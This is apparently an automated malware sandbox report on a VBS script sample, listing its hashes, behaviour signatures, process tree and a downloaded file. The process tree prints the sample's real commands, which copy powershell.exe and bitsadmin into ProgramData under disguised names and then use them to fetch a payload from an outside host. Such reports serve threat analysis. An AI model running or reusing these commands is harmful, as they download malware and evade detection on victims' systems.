Analysis
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max time kernel
119s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
08-07-2024 21:04
Static task
static1
Behavioral task
behavioral1
Sample
2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs
Resource
win7-20240708-en
General
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Target
2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs
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Size
9KB
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MD5
2dcaf51516980adbe613009d1ca9764b
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SHA1
fb554ddbcf9c2762af321927e5dde0bb47f38e24
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SHA256
a06d938815152198d177761698bdeb45ab3f5be509362fbc3957f87713f1b97f
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SHA512
4d63411921fc969f59ae9becdbdbc2e09aa292d4bb77c85c84208768df63afd44f09143096627e7694e50356ce5b967222d2bd3488e6ec599e84fb880282e30f
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SSDEEP
192:LGpSVqj1bng0JaWg8ogL5gplgkLDp+mE7E4QehSy0wfV331mbFV+vrrWGFD:LGpSVq5bng0XglAyjgkL1+mE7E4QeMyZ
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 2136 avhgCkyin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1300 wrote to memory of 2560 1300 WScript.exe 30 PID 1300 wrote to memory of 2560 1300 WScript.exe 30 PID 1300 wrote to memory of 2560 1300 WScript.exe 30 PID 2560 wrote to memory of 1084 2560 cmd.exe 32 PID 2560 wrote to memory of 1084 2560 cmd.exe 32 PID 2560 wrote to memory of 1084 2560 cmd.exe 32 PID 2560 wrote to memory of 328 2560 cmd.exe 33 PID 2560 wrote to memory of 328 2560 cmd.exe 33 PID 2560 wrote to memory of 328 2560 cmd.exe 33 PID 1300 wrote to memory of 2136 1300 WScript.exe 34 PID 1300 wrote to memory of 2136 1300 WScript.exe 34 PID 1300 wrote to memory of 2136 1300 WScript.exe 34 PID 1300 wrote to memory of 2136 1300 WScript.exe 34
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe3⤵PID:1084
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe3⤵PID:328
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C:\ProgramData\avhgCkyin.exe"C:\ProgramData\avhgCkyin.exe" /wrap /transfer kLmGBeCt https://analyzare.com/annalisa/CLCMNG70B49A801Q/dev.doc C:\ProgramData\dev.doc2⤵
- Executes dropped EXE
PID:2136
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51